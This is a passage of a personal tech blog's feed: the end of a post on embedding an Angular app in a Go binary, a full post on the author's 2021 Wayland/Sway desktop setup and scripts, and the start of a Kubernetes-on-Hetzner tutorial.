	<span class="nx">a</span><span class="p">.</span><span class="nx">r</span><span class="p">.</span><span class="nf">HandleFunc</span><span class="p">(</span><span class="s">&#34;/students&#34;</span><span class="p">,</span> <span class="nx">a</span><span class="p">.</span><span class="nx">getAllStudents</span><span class="p">).</span><span class="nf">Methods</span><span class="p">(</span><span class="s">&#34;GET&#34;</span><span class="p">)</span>
	<span class="nx">a</span><span class="p">.</span><span class="nx">r</span><span class="p">.</span><span class="nf">HandleFunc</span><span class="p">(</span><span class="s">&#34;/students&#34;</span><span class="p">,</span> <span class="nx">a</span><span class="p">.</span><span class="nx">addStudent</span><span class="p">).</span><span class="nf">Methods</span><span class="p">(</span><span class="s">&#34;POST&#34;</span><span class="p">)</span>
	<span class="nx">a</span><span class="p">.</span><span class="nx">r</span><span class="p">.</span><span class="nf">HandleFunc</span><span class="p">(</span><span class="s">&#34;/students/{id}&#34;</span><span class="p">,</span> <span class="nx">a</span><span class="p">.</span><span class="nx">updateStudent</span><span class="p">).</span><span class="nf">Methods</span><span class="p">(</span><span class="s">&#34;PUT&#34;</span><span class="p">)</span>
	<span class="nx">a</span><span class="p">.</span><span class="nx">r</span><span class="p">.</span><span class="nf">HandleFunc</span><span class="p">(</span><span class="s">&#34;/students/{id}&#34;</span><span class="p">,</span> <span class="nx">a</span><span class="p">.</span><span class="nx">deleteStudent</span><span class="p">).</span><span class="nf">Methods</span><span class="p">(</span><span class="s">&#34;DELETE&#34;</span><span class="p">)</span>
	<span class="c1">// We need to strip the static directory from our path
</span><span class="c1"></span>	<span class="c1">// for serving files in the index folder via the http.Fileserver()
</span><span class="c1"></span>	<span class="nx">webapp</span><span class="p">,</span> <span class="nx">err</span> <span class="o">:=</span> <span class="nx">fs</span><span class="p">.</span><span class="nf">Sub</span><span class="p">(</span><span class="nx">static</span><span class="p">,</span> <span class="s">&#34;static&#34;</span><span class="p">)</span>
	<span class="k">if</span> <span class="nx">err</span> <span class="o">!=</span> <span class="kc">nil</span> <span class="p">{</span>
		<span class="nx">fmt</span><span class="p">.</span><span class="nf">Println</span><span class="p">(</span><span class="nx">err</span><span class="p">)</span>
	<span class="p">}</span>
	<span class="c1">// We need to use Gorilla Mux&#39; PathPrefix function here, because the Pathprefix
</span><span class="c1"></span>	<span class="c1">// adds a wildcard to the route eg: /*, otherwise we would only route to &#34;/&#34;
</span><span class="c1"></span>	<span class="c1">// Hence the error with 404-returning JS files before got thrown, because
</span><span class="c1"></span>	<span class="c1">// Gorilla Mux had no route to these JS files.
</span><span class="c1"></span>	<span class="nx">a</span><span class="p">.</span><span class="nx">r</span><span class="p">.</span><span class="nf">PathPrefix</span><span class="p">(</span><span class="s">&#34;/&#34;</span><span class="p">).</span><span class="nf">Handler</span><span class="p">(</span><span class="nx">http</span><span class="p">.</span><span class="nf">FileServer</span><span class="p">(</span><span class="nx">http</span><span class="p">.</span><span class="nf">FS</span><span class="p">(</span><span class="nx">webapp</span><span class="p">)))</span>
	<span class="nx">log</span><span class="p">.</span><span class="nf">Fatal</span><span class="p">(</span><span class="nx">http</span><span class="p">.</span><span class="nf">ListenAndServe</span><span class="p">(</span><span class="s">&#34;:8080&#34;</span><span class="p">,</span> <span class="nx">a</span><span class="p">.</span><span class="nx">r</span><span class="p">))</span>
<span class="p">}</span>
</code></pre></div><p>What is happening here? First I introduced a new global variable called <code>static</code> with type <code>embed.FS</code>. The important
part about this change is the go preprocessor-like statement before the variable declaration. With <code>//go:embed static</code>
we explain the Go compiler to embed the <code>static</code> directory in the current directory via the <code>embed</code> package. Note:
the missing space between <code>//</code> and <code>go</code> is important here! The next modification is the <code>start()</code> function.
We are now serving content from a directory, for example: <code>static/index.html</code>, thus we need to strip the <code>static</code>
directory name from it. This happens via the <code>fs.Sub</code> method. The last change is the use of <code>http.FS</code> instead of <code>http.Dir</code>.
We are dealing with a filesystem now, not a local directory anymore. If we now compile the Angular app and compile our Go binary
the Angular generated assets will get included into our Go binary and we have a single binary for deployment.</p>
<p>A few other changes I made were replacing the postgres driver against a sqlite (because i was lazy and just wanted a DB) and a new Dockerfile.
The new Dockerfile makes use of Google&rsquo;s distroless docker image. Distroless images are basically like docker scratch images, with the difference
that they provide tzdata and ca-certificates and other data applications might need. Everything else (libraries, shells, busybox utils, etc) is missing in these images. The final Dockerfile looks like this:</p>
<div class="highlight"><pre class="chroma"><code class="language-Dockerfile" data-lang="Dockerfile"><span class="k">FROM</span><span class="s"> node:12.11 AS ANGULAR_BUILD</span><span class="err">
</span><span class="err"></span><span class="k">RUN</span> npm install -g @angular/cli@8.3.12<span class="err">
</span><span class="err"></span><span class="k">COPY</span> webapp /webapp<span class="err">
</span><span class="err"></span><span class="k">WORKDIR</span><span class="s"> webapp</span><span class="err">
</span><span class="err"></span><span class="k">RUN</span> npm install <span class="o">&amp;&amp;</span> ng build --prod<span class="err">
</span><span class="err">
</span><span class="err"></span><span class="k">FROM</span><span class="s"> golang:1.16 as GO_BUILD</span><span class="err">
</span><span class="err"></span><span class="k">WORKDIR</span><span class="s"> /go/src/app</span><span class="err">
</span><span class="err"></span><span class="k">ADD</span> server /go/src/app<span class="err">
</span><span class="err"></span><span class="k">COPY</span> --from<span class="o">=</span>ANGULAR_BUILD /server/static /go/src/app<span class="err">
</span><span class="err"></span><span class="k">RUN</span> go build -o /go/bin/app<span class="err">
</span><span class="err">
</span><span class="err"></span><span class="k">FROM</span><span class="s"> gcr.io/distroless/base</span><span class="err">
</span><span class="err"></span><span class="k">COPY</span> --from<span class="o">=</span>GO_BUILD /go/bin/app /<span class="err">
</span><span class="err"></span><span class="k">CMD</span> <span class="p">[</span><span class="s2">&#34;/app&#34;</span><span class="p">]</span><span class="err">
</span></code></pre></div>]]></content></item><item><title>Wayland in 2021</title><link>https://shibumi.dev/posts/wayland-in-2021/</link><pubDate>Sat, 13 Mar 2021 19:21:33 +0100</pubDate><guid>https://shibumi.dev/posts/wayland-in-2021/</guid><description>A year ago I wrote about my Wayland setup on Linux. This year I would like to give you a small update on how I am going with Wayland on Arch Linux and how it is my daily driver at home and work. The setup itself stayed pretty much the same:
Operating System: Arch Linux Window Manager: Sway Status bar: Heavily customized Barista bar Screenshots: Bash script utilizing Grim + Slurp Screen recordings: Bash script utilizing wf-recorder Sharing Text: Bash script utilizing wl-clipboard Dynamic Menu: bemenu Password Management: A combination of gopass, bemenu and bash Screensharing: xdg-desktop-portal-wlr + pipewire You can find my full setup in my dotfiles repository on Github.</description><content type="html"><![CDATA[<p>A year ago I wrote about my Wayland setup on Linux. This year I would like to give you a small
update on how I am going with Wayland on Arch Linux and how it is my daily driver at home and work.
The setup itself stayed pretty much the same:</p>
<ul>
<li>Operating System: Arch Linux</li>
<li>Window Manager: Sway</li>
<li>Status bar: Heavily customized Barista bar</li>
<li>Screenshots: Bash script utilizing Grim + Slurp</li>
<li>Screen recordings: Bash script utilizing wf-recorder</li>
<li>Sharing Text: Bash script utilizing wl-clipboard</li>
<li>Dynamic Menu: bemenu</li>
<li>Password Management: A combination of gopass, bemenu and bash</li>
<li>Screensharing: xdg-desktop-portal-wlr + pipewire</li>
</ul>
<p>You can find my full setup in my <a href="https://github.com/shibumi/dotfiles">dotfiles repository on Github</a>.</p>
<p>Let us have a quick look on the whole setup from above bullet point per bullet point.</p>
<h2 id="sway">Sway</h2>
<p>My sway setup is not so special. I use <a href="https://github.com/emersion/mako">mako</a> for notifications,
<a href="https://github.com/emersion/kanshi">kanshi</a> for dynamic display configuration and a few other scripts.
The full sway config can be found here: <a href="https://github.com/shibumi/dotfiles/blob/master/.config/sway/config">https://github.com/shibumi/dotfiles/blob/master/.config/sway/config</a></p>
<h2 id="status-bar">Status bar</h2>
<p><a href="https://barista.run">Barista</a> is a Framework written in Go for writing i3-compatible status bars.
The framework should cover most functionality you are looking for and if you want additional
features you can easily execute scripts via this framework or extend it by pure Go code.
However I would only suggest this framework for people who feel comfortable with Go.
The configuration process can be tedious and I am still missing 1-2 features I would like to have.
If you have everything you need <a href="https://barista.run">Barista</a> is definitely way faster than your
usual status bar that just executes bash scripts. Here is a small snippet from my status bar
that is showing the current Yubikey state:</p>
<div class="highlight"><pre class="chroma"><code class="language-go" data-lang="go">	<span class="nx">barista</span><span class="p">.</span><span class="nf">Add</span><span class="p">(</span><span class="nx">yubikey</span><span class="p">.</span><span class="nf">New</span><span class="p">().</span><span class="nf">Output</span><span class="p">(</span><span class="kd">func</span><span class="p">(</span><span class="nx">gpg</span> <span class="kt">bool</span><span class="p">,</span> <span class="nx">u2f</span> <span class="kt">bool</span><span class="p">)</span> <span class="nx">bar</span><span class="p">.</span><span class="nx">Output</span> <span class="p">{</span>
		<span class="k">if</span> <span class="nx">u2f</span> <span class="p">{</span>
			<span class="nx">out</span> <span class="o">:=</span> <span class="nx">outputs</span><span class="p">.</span><span class="nf">Text</span><span class="p">(</span><span class="s">&#34;U2F&#34;</span><span class="p">)</span>
			<span class="nx">out</span><span class="p">.</span><span class="nf">Color</span><span class="p">(</span><span class="nx">colors</span><span class="p">.</span><span class="nf">Scheme</span><span class="p">(</span><span class="s">&#34;degraded&#34;</span><span class="p">))</span>
			<span class="k">return</span> <span class="nx">out</span>
		<span class="p">}</span>
		<span class="k">if</span> <span class="nx">gpg</span> <span class="p">{</span>
			<span class="nx">out</span> <span class="o">:=</span> <span class="nx">outputs</span><span class="p">.</span><span class="nf">Text</span><span class="p">(</span><span class="s">&#34;GPG&#34;</span><span class="p">)</span>
			<span class="nx">out</span><span class="p">.</span><span class="nf">Color</span><span class="p">(</span><span class="nx">colors</span><span class="p">.</span><span class="nf">Scheme</span><span class="p">(</span><span class="s">&#34;degraded&#34;</span><span class="p">))</span>
			<span class="k">return</span> <span class="nx">out</span>
		<span class="p">}</span>
		<span class="k">return</span> <span class="kc">nil</span>
	<span class="p">}))</span>
</code></pre></div><p>If you are interested in the full code you can find it here: <a href="https://github.com/shibumi/ryoukai/blob/master/main.go">https://github.com/shibumi/ryoukai/blob/master/main.go</a></p>
<h2 id="screenshots">Screenshots</h2>
<p>For triggering screenshots I use this short script:</p>
<div class="highlight"><pre class="chroma"><code class="language-bash" data-lang="bash"><span class="cp">#!/bin/bash
</span><span class="cp"></span><span class="nb">readonly</span> <span class="nv">SCREENSHOTDIR</span><span class="o">=</span><span class="s2">&#34;</span><span class="nv">$HOME</span><span class="s2">/.cache/screenshot&#34;</span>

<span class="k">if</span> <span class="o">[[</span> ! -e <span class="s2">&#34;</span><span class="nv">$SCREENSHOTDIR</span><span class="s2">&#34;</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
  mkdir -p <span class="s2">&#34;</span><span class="nv">$SCREENSHOTDIR</span><span class="s2">&#34;</span>
<span class="k">fi</span>
<span class="nb">readonly</span> <span class="nv">TIME</span><span class="o">=</span><span class="s2">&#34;</span><span class="k">$(</span>date +%Y-%m-%d-%H-%M-%S<span class="k">)</span><span class="s2">&#34;</span>
<span class="nb">readonly</span> <span class="nv">IMGPATH</span><span class="o">=</span><span class="s2">&#34;</span><span class="nv">$SCREENSHOTDIR</span><span class="s2">/img-</span><span class="nv">$TIME</span><span class="s2">.png&#34;</span>
grim -g <span class="s2">&#34;</span><span class="k">$(</span>slurp<span class="k">)</span><span class="s2">&#34;</span> <span class="s2">&#34;</span><span class="nv">$IMGPATH</span><span class="s2">&#34;</span>
share <span class="s2">&#34;</span><span class="nv">$IMGPATH</span><span class="s2">&#34;</span>
</code></pre></div><p>The script just takes a screenshot via slurp and grim, puts the screenshot in a directory in my home directory
and triggers my <code>share</code>-script. The <code>share</code> script just handles notifications and uploads it to my webserver
via SSH and copies the link to it in my clipboard. The full <code>share</code>-script can be found here: <a href="https://github.com/shibumi/dotfiles/blob/master/.local/bin/share">https://github.com/shibumi/dotfiles/blob/master/.local/bin/share</a></p>
<h2 id="screen-recordings">Screen recordings</h2>
<p>For screen recordings I have a script called <code>videoshot-wl</code>. It is a little bit more complicated than the script for taking
screenshots. It makes use of slurp and wf-recorder and it works the following way:</p>
<ol>
<li>The script gets triggered and spawns a sub shell. This sub shell is recording the screen.</li>
<li>If the scripts gets triggered again the sub shell will get killed, the recording proccess stopped and the recording uploaded to my webserver.</li>
</ol>
<p>In bash this looks like this:</p>
<div class="highlight"><pre class="chroma"><code class="language-bash" data-lang="bash"><span class="cp">#!/bin/bash
</span><span class="cp"></span><span class="nb">readonly</span> <span class="nv">VIDEOSHOTDIR</span><span class="o">=</span><span class="s2">&#34;</span><span class="nv">$HOME</span><span class="s2">/.cache/videoshot&#34;</span>

<span class="k">if</span> <span class="o">[[</span> ! -e <span class="nv">$VIDEOSHOTDIR</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
  mkdir -p <span class="s2">&#34;</span><span class="nv">$VIDEOSHOTDIR</span><span class="s2">&#34;</span>
<span class="k">fi</span>

<span class="nb">readonly</span> <span class="nv">PIDPATH</span><span class="o">=</span><span class="s2">&#34;</span><span class="nv">$VIDEOSHOTDIR</span><span class="s2">/videoshot.pid&#34;</span>
<span class="nb">readonly</span> <span class="nv">RESOURCEPATH</span><span class="o">=</span><span class="s2">&#34;</span><span class="nv">$VIDEOSHOTDIR</span><span class="s2">/videoshot.txt&#34;</span>

<span class="k">if</span> <span class="o">[[</span> ! -f <span class="s2">&#34;</span><span class="nv">$PIDPATH</span><span class="s2">&#34;</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
  <span class="nb">readonly</span> <span class="nv">TIME</span><span class="o">=</span><span class="s2">&#34;</span><span class="k">$(</span>date +%Y-%m-%d-%H-%M-%S<span class="k">)</span><span class="s2">&#34;</span>
  <span class="nb">readonly</span> <span class="nv">VIDPATH</span><span class="o">=</span><span class="s2">&#34;</span><span class="nv">$VIDEOSHOTDIR</span><span class="s2">/rec-</span><span class="nv">$TIME</span><span class="s2">.mp4&#34;</span>
  <span class="o">(</span>
    wf-recorder -g <span class="s2">&#34;</span><span class="k">$(</span>slurp<span class="k">)</span><span class="s2">&#34;</span> -f <span class="s2">&#34;</span><span class="nv">$VIDPATH</span><span class="s2">&#34;</span> <span class="p">&amp;</span>
    <span class="nb">echo</span> <span class="s2">&#34;</span><span class="nv">$!</span><span class="s2">&#34;</span> &gt;<span class="s2">&#34;</span><span class="nv">$PIDPATH</span><span class="s2">&#34;</span>
    <span class="nb">echo</span> <span class="s2">&#34;</span><span class="nv">$VIDPATH</span><span class="s2">&#34;</span> &gt;<span class="s2">&#34;</span><span class="nv">$RESOURCEPATH</span><span class="s2">&#34;</span>
    notify-send <span class="s2">&#34;Start recording&#34;</span> <span class="s2">&#34;</span><span class="nv">$VIDPATH</span><span class="s2">&#34;</span>
    <span class="nb">readonly</span> <span class="nv">PID</span><span class="o">=</span><span class="s2">&#34;</span><span class="k">$(</span>cat <span class="nv">$PIDPATH</span><span class="k">)</span><span class="s2">&#34;</span>
    <span class="nb">wait</span> <span class="s2">&#34;</span><span class="nv">$PID</span><span class="s2">&#34;</span>
    <span class="nb">readonly</span> <span class="nv">VIDPATH</span><span class="o">=</span><span class="s2">&#34;</span><span class="k">$(</span>cat <span class="nv">$RESOURCEPATH</span><span class="k">)</span><span class="s2">&#34;</span>
    <span class="k">if</span> <span class="o">[</span> ! -f <span class="s2">&#34;</span><span class="nv">$VIDPATH</span><span class="s2">&#34;</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
      notify-send <span class="s2">&#34;Recording aborted&#34;</span>
    <span class="k">else</span>
      share <span class="s2">&#34;</span><span class="nv">$VIDPATH</span><span class="s2">&#34;</span>
    <span class="k">fi</span>
    rm <span class="s2">&#34;</span><span class="nv">$PIDPATH</span><span class="s2">&#34;</span>
    rm <span class="s2">&#34;</span><span class="nv">$RESOURCEPATH</span><span class="s2">&#34;</span>
  <span class="o">)</span> <span class="p">&amp;</span>
<span class="k">else</span>
  <span class="nb">readonly</span> <span class="nv">PID</span><span class="o">=</span><span class="s2">&#34;</span><span class="k">$(</span>cat <span class="nv">$PIDPATH</span><span class="k">)</span><span class="s2">&#34;</span>
  <span class="nb">kill</span> -SIGINT <span class="s2">&#34;</span><span class="nv">$PID</span><span class="s2">&#34;</span>
<span class="k">fi</span>
</code></pre></div><p>The uploading process happens in my <code>share</code> script.</p>
<h2 id="sharing-text">Sharing text</h2>
<p>Sharing text is very simple again. For sharing text I just copy it in my clipboard (this happens already when marking
something in my terminal) and then I use my <code>textshot-wl</code> script:</p>
<div class="highlight"><pre class="chroma"><code class="language-bash" data-lang="bash"><span class="cp">#!/bin/bash
</span><span class="cp"></span><span class="nb">readonly</span> <span class="nv">TEXTSHOTDIR</span><span class="o">=</span><span class="s2">&#34;</span><span class="nv">$HOME</span><span class="s2">/.cache/textshot/&#34;</span>

<span class="k">if</span> <span class="o">[[</span> ! -e <span class="s2">&#34;</span><span class="nv">$TEXTSHOTDIR</span><span class="s2">&#34;</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
  mkdir -p <span class="s2">&#34;</span><span class="nv">$TEXTSHOTDIR</span><span class="s2">&#34;</span>
<span class="k">fi</span>
<span class="nb">readonly</span> <span class="nv">TIME</span><span class="o">=</span><span class="s2">&#34;</span><span class="k">$(</span>date +%Y-%m-%d-%H-%M-%S<span class="k">)</span><span class="s2">&#34;</span>
<span class="nb">readonly</span> <span class="nv">TEXTPATH</span><span class="o">=</span><span class="s2">&#34;</span><span class="nv">$TEXTSHOTDIR</span><span class="s2">/text-</span><span class="nv">$TIME</span><span class="s2">.txt&#34;</span>
wl-paste &gt;<span class="s2">&#34;</span><span class="nv">$TEXTPATH</span><span class="s2">&#34;</span>
share <span class="s2">&#34;</span><span class="nv">$TEXTPATH</span><span class="s2">&#34;</span>
</code></pre></div><p>The script is just writing everything in my clipboard into a text file and uploads it. The webserver will then show
the text file as it is. The disadvantage of this approach is clearly that I will have no additional features like
comments or syntax highlighting (I miss this sometimes). If I really need those features I use <a href="https://gist.github.com/">gist</a></p>
<h2 id="dynamic-menu">Dynamic menu</h2>
<p>My dynamic menu for starting programs is just a customized execution of bemenu:</p>
<div class="highlight"><pre class="chroma"><code class="language-bash" data-lang="bash"><span class="cp">#!/bin/bash
</span><span class="cp"></span>bemenu-run -i --hb <span class="s2">&#34;#151718&#34;</span> --tb <span class="s2">&#34;#151718&#34;</span> --nb <span class="s2">&#34;#151718&#34;</span> --hf <span class="s2">&#34;#9FCA56&#34;</span> --tf <span class="s2">&#34;#9FCA56&#34;</span> --fb <span class="s2">&#34;#151718&#34;</span> --fn <span class="s2">&#34;font pango:inconsolata 8&#34;</span> <span class="s2">&#34;</span><span class="nv">$@</span><span class="s2">&#34;</span> -m <span class="s2">&#34;</span><span class="k">$(</span>swayfocused<span class="k">)</span><span class="s2">&#34;</span> -p <span class="s2">&#34;&gt;&#34;</span>
</code></pre></div><h2 id="password-management">Password management</h2>
<p>I have direct access to my password manager via bemenu and gopass.
Via bemenu I choose the password entry (fuzzy search, yeah), then the script will trigger gopass
and then the output of  gopass will get copied for one-time use in my wayland clipboard:</p>
<div class="highlight"><pre class="chroma"><code class="language-bash" data-lang="bash"><span class="nv">$!</span>/bin/bash
<span class="nb">source</span> <span class="s2">&#34;</span><span class="si">${</span><span class="nv">HOME</span><span class="si">}</span><span class="s2">/.local/share/scripts/bemenu&#34;</span>

<span class="nv">input</span><span class="o">=</span><span class="k">$(</span>gopass list -f <span class="p">|</span> _bemenu -p <span class="s2">&#34;gopass&#34;</span><span class="k">)</span>
<span class="nb">printf</span> <span class="s1">&#39;%s&#39;</span> <span class="s2">&#34;</span><span class="k">$(</span>gopass show -o <span class="s2">&#34;</span><span class="nv">$input</span><span class="s2">&#34;</span><span class="k">)</span><span class="s2">&#34;</span> <span class="p">|</span> wl-copy --paste-once
</code></pre></div><p>The interesting part here is the one-time usage. I can use this password in the clipboard <strong>only</strong> once.
If I paste it, it will instantly get deleted from my clipboard. This also means that this currently only works
in Wayland applications (one of the reasons why I use this script less than I should).</p>
<p>Small addition: I have a similar script for pasting OATH codes from my yubikey:</p>
<div class="highlight"><pre class="chroma"><code class="language-bash" data-lang="bash"><span class="nv">$!</span>/bin/bash
<span class="nb">source</span> <span class="s2">&#34;</span><span class="si">${</span><span class="nv">HOME</span><span class="si">}</span><span class="s2">/.local/share/scripts/bemenu&#34;</span>

<span class="nv">input</span><span class="o">=</span><span class="k">$(</span>ykman oath list <span class="p">|</span> _bemenu -p <span class="s2">&#34;oath&#34;</span><span class="k">)</span>
<span class="nv">oath</span><span class="o">=</span><span class="k">$(</span>ykman oath code -s <span class="s2">&#34;</span><span class="nv">$input</span><span class="s2">&#34;</span><span class="k">)</span>
<span class="nb">echo</span> <span class="s2">&#34;</span><span class="nv">$oath</span><span class="s2">&#34;</span> <span class="p">|</span> wl-copy --paste-once
</code></pre></div><h3 id="update-2021-03-14">Update (2021-03-14)</h3>
<p>I always thought that <code>wl-copy --paste-once</code> does not work in the browser, because the browser was not
Wayland-native. Turns out even with Wayland-native browsers you will encounter the same bug.
This seem to be related to <a href="https://github.com/bugaevc/wl-clipboard/issues/107">https://github.com/bugaevc/wl-clipboard/issues/107</a>.
I decided to fix this issue for me via using a timer and <code>wl-copy --clear</code> instead of <code>wl-copy --paste-once</code>:</p>
<p>The new script for triggering bemenu looks like this:</p>
<div class="highlight"><pre class="chroma"><code class="language-bash" data-lang="bash"><span class="cp">#!/bin/bash
</span><span class="cp"></span><span class="nb">source</span> <span class="s2">&#34;</span><span class="si">${</span><span class="nv">HOME</span><span class="si">}</span><span class="s2">/.local/share/scripts/bemenu&#34;</span>

<span class="nv">input</span><span class="o">=</span><span class="k">$(</span>gopass list -f <span class="p">|</span> _bemenu -p <span class="s2">&#34;gopass&#34;</span><span class="k">)</span>
<span class="nb">printf</span> <span class="s1">&#39;%s&#39;</span> <span class="s2">&#34;</span><span class="k">$(</span>gopass show -o <span class="s2">&#34;</span><span class="nv">$input</span><span class="s2">&#34;</span><span class="k">)</span><span class="s2">&#34;</span> <span class="p">|</span> wl-copy
sleep <span class="m">5</span>
wl-copy --clear
</code></pre></div><h2 id="screen-sharing">Screen sharing</h2>
<p>Screen sharing is a bigger topic. I really had a lot(!) issues with it over the last
months, especially in combination with Microsoft Teams and other enterprise-ish software.
Nevertheless I think I have found a stable solution for it a few days ago.</p>
<p>What you need is:</p>
<ul>
<li>chromium or Firefox with WebRTC pipewire support (you need to enable this in chromium)</li>
<li><a href="https://github.com/emersion/xdg-desktop-portal-wlr">xdg-desktop-portal-wlr</a></li>
<li>pipewire + libpipewire02 + pipewire-media-session</li>
</ul>
<p>First make sure that the pipewire-media-session service is enabled and running for your user.
The devs of xdg-desktop-portal-wlr say that you normally do not need it, but for some strange reasons
you will need the a running pipewire-media-session service:</p>
<pre><code>$ systemctl enable --user pipewire-media-session.service
</code></pre><p>Furthermore you need to set the following environment variable: <code>XDG_CURRENT_DESKTOP=sway</code>.
I do this via my <code>.config/environment.d/envvars.conf</code>-file:</p>
<pre><code>EDITOR=nvim
PAGER=less
SSH_AUTH_SOCK=&quot;$XDG_RUNTIME_DIR/ssh-agent.socket&quot;
IBUS_SOCK=&quot;$XDG_RUNTIME_DIR/ibus.socket&quot;
TERM=&quot;xterm-256color&quot;
GOPATH=$HOME/go
GOBIN=$HOME/go/bin
_JAVA_AWT_WM_NONREPARENTING=1
_JAvA_OPTIONS=&quot;-Dawt.useSystemAAFontSettings=on -Dswing.aatext=true&quot;
JAVA_FONTS=/usr/share/fonts/TTF
KUBECONFIG=&quot;$(find ~/.kube/configs/ -type f -exec printf '%s:' '{}' +)&quot;
XDG_CURRENT_DESKTOP=sway
XDG_SESSION_TYPE=wayland
</code></pre><p>This file sets all of my environment variables and gets automatically loaded by systemd on login.
If you have the environment variable and a working pipewire-media-session service everything else should work
out of the box.</p>
<h3 id="update-2021-03-14t1441">Update (2021-03-14T14:41)</h3>
<p>Right now it is not possible to directly select the output for the screen sharing in the browser.
You can work around this issue via this little script here:</p>
<div class="highlight"><pre class="chroma"><code class="language-bash" data-lang="bash"><span class="cp">#!/bin/bash
</span><span class="cp"></span><span class="nb">source</span> <span class="s2">&#34;</span><span class="si">${</span><span class="nv">HOME</span><span class="si">}</span><span class="s2">/.local/share/scripts/bemenu&#34;</span>

<span class="nv">input</span><span class="o">=</span><span class="k">$(</span>swaymsg -t get_outputs <span class="p">|</span> jq -r <span class="s1">&#39;.[].name&#39;</span> <span class="p">|</span> _bemenu<span class="k">)</span>
/usr/lib/xdg-desktop-portal -r <span class="p">&amp;</span> /usr/lib/xdg-desktop-portal-wlr -r -o <span class="s2">&#34;</span><span class="nv">$input</span><span class="s2">&#34;</span> <span class="p">&amp;</span>
</code></pre></div><p>This script allows me to select the screen for screen sharing. I just have to remember that I need to
trigger this script before sharing my screen. The preview window in the web browser will then show the
correct screen preview. The disadvantage from this method is that you need to know your monitors
name. If you find a better solution for this let me know.</p>
<h3 id="update-2021-03-14t1511">Update (2021-03-14T15:11)</h3>
<p><a href="https://www.reddit.com/r/swaywm/comments/m4vagz/running_sway_in_production_in_the_year_of_2021/gqwc7nx/?utm_source=reddit&amp;utm_medium=web2x&amp;context=3">One user on Reddit</a> suggested that I should use slurp instead of bemenu for the selection. And indeed this makes selection
way easier, because you do not need to remember the monitor output name:</p>
<p>The update script is this two-liner here:</p>
<div class="highlight"><pre class="chroma"><code class="language-bash" data-lang="bash"><span class="cp">#!/bin/bash
</span><span class="cp"></span>
<span class="nv">input</span><span class="o">=</span><span class="k">$(</span>slurp -o -f <span class="s2">&#34;%o&#34;</span><span class="k">)</span>
/usr/lib/xdg-desktop-portal -r <span class="p">&amp;</span> /usr/lib/xdg-desktop-portal-wlr -r -o <span class="s2">&#34;</span><span class="nv">$input</span><span class="s2">&#34;</span> <span class="p">&amp;</span>
</code></pre></div><h3 id="update-2021-04-21t2246">Update (2021-04-21T22:46)</h3>
<p>With <code>xdg-desktop-portal-wlr</code> version 0.3.0 it is necessary to import the user environment in your sway session.
You can do this via adding the following line to your sway configuration:</p>
<pre><code>exec &quot;systemctl --user import-environment&quot;
</code></pre><p>If <code>xdg-desktop-portal-wlr</code> does not work for some reason try checking the environment variables for the <code>xdg-desktop-portal</code> process.
You <strong>need</strong> to have <code>WAYLAND_DESKTOP</code> and <code>XDG_CURRENT_DESKTOP</code> variables in the environment of the <code>xdg-desktop-portal</code> process: <code>cat /proc/$(pidof xdg-desktop-portal)/environ</code>.</p>
<p>With version 0.3.0 <code>xdg-desktop-portal-wlr</code> is also being able to start a desktop chooser command. Just place
the following configuration file in <code>$XDG_CONFIG_HOME/xdg-desktop-portal-wlr/config</code>:</p>
<div class="highlight"><pre class="chroma"><code class="language-ini" data-lang="ini"><span class="k">[screencast]</span>
<span class="na">output_name</span><span class="o">=</span>
<span class="na">max_fps</span><span class="o">=</span><span class="s">30</span>
<span class="na">chooser_cmd</span><span class="o">=</span><span class="s">&#34;slurp -f %o -o&#34;</span>
<span class="na">chooser_type</span><span class="o">=</span><span class="s">simple</span>
</code></pre></div><p>This will start up the chooser automatically and using my little helper script before is no longer necessary.</p>
<h3 id="update-2021-06-17t0009">Update (2021-06-17T00:09)</h3>
<p>The above <code>xdg-desktop-portal-wlr</code> version will not work, because <code>xdg-desktop-portal-wlr</code> changed their parser.
If you are using this configuration and if you are wondering that it stopped working you need to change the <code>chooser_cmd</code> line
to <code>slurp -f %o -o</code> <strong>without</strong> double quotes. The full configuration should look like this:</p>
<div class="highlight"><pre class="chroma"><code class="language-ini" data-lang="ini"><span class="k">[screencast]</span>
<span class="na">output_name</span><span class="o">=</span>
<span class="na">max_fps</span><span class="o">=</span><span class="s">30</span>
<span class="na">chooser_cmd</span><span class="o">=</span><span class="s">slurp -f %o -o</span>
<span class="na">chooser_type</span><span class="o">=</span><span class="s">simple</span>
</code></pre></div>]]></content></item><item><title>Kubernetes on Hetzner in 2021</title><link>https://shibumi.dev/posts/kubernetes-on-hetzner-in-2021/</link><pubDate>Mon, 25 Jan 2021 21:24:59 +0100</pubDate><guid>https://shibumi.dev/posts/kubernetes-on-hetzner-in-2021/</guid><description>Hello and welcome to my little Kubernetes on Hetzner tutorial for the first half of 2021. This tutorial will help you bootstrapping a Kubernetes Cluster on Hetzner with KubeOne. I am writing this small tutorial, because I had some trouble to bootstrap a cluster on Hetzner with KubeOne. But first of all let us dive into the question why we even need KubeOne and how does KubeOne helps. KubeOne is a small wrapper around kubeadm.</description><content type="html"><![CDATA[<p>Hello and welcome to my little Kubernetes on Hetzner tutorial for the first half of 2021.
This tutorial will help you bootstrapping a Kubernetes Cluster on Hetzner with <a href="https://github.com/kubermatic/kubeone">KubeOne</a>.
I am writing this small tutorial, because I had some trouble to bootstrap a cluster on Hetzner with KubeOne.
But first of all let us dive into the question why we even need KubeOne and how does KubeOne helps.
KubeOne is a small wrapper around <a href="https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/create-cluster-kubeadm/">kubeadm</a>.
Kubeadm is <strong>the</strong> official tool for installing Kubernetes on VMs or bare-metal nodes, but it has one major disadvantage: It is very toilsome.
KubeOne tries to solve this with providing you a wrapper around Kubeadm and various other provisioning tools like <a href="https://www.terraform.io/">Terraform</a>.
Terraform lets you manage your infrastructure as code. The advantage is that you can easily destroy, deploy or enhance your infrastructure
via a few config file changes. You may ask yourself why you even need this tutorial. There is already at <a href="https://community.hetzner.com/tutorials/install-kubernetes-cluster">least one tutorial</a> that guides you through the process of setting up a Kubernetes cluster on Hetzner. This is correct, but I felt it is unnecessary complicated,
takes too much manual steps and is not really automatable (although there are solutions like <a href="https://github.com/kubernetes-sigs/kubespray">kubespray</a> that intend to solve this).</p>
<p>I hope you will give this tutorial a chance and I promise that you will not regret it. You will definitely learn something from it.
For the beginning you need the following ingredients for mixing your first Kubernetes cluster with Hetzner flavor:</p>
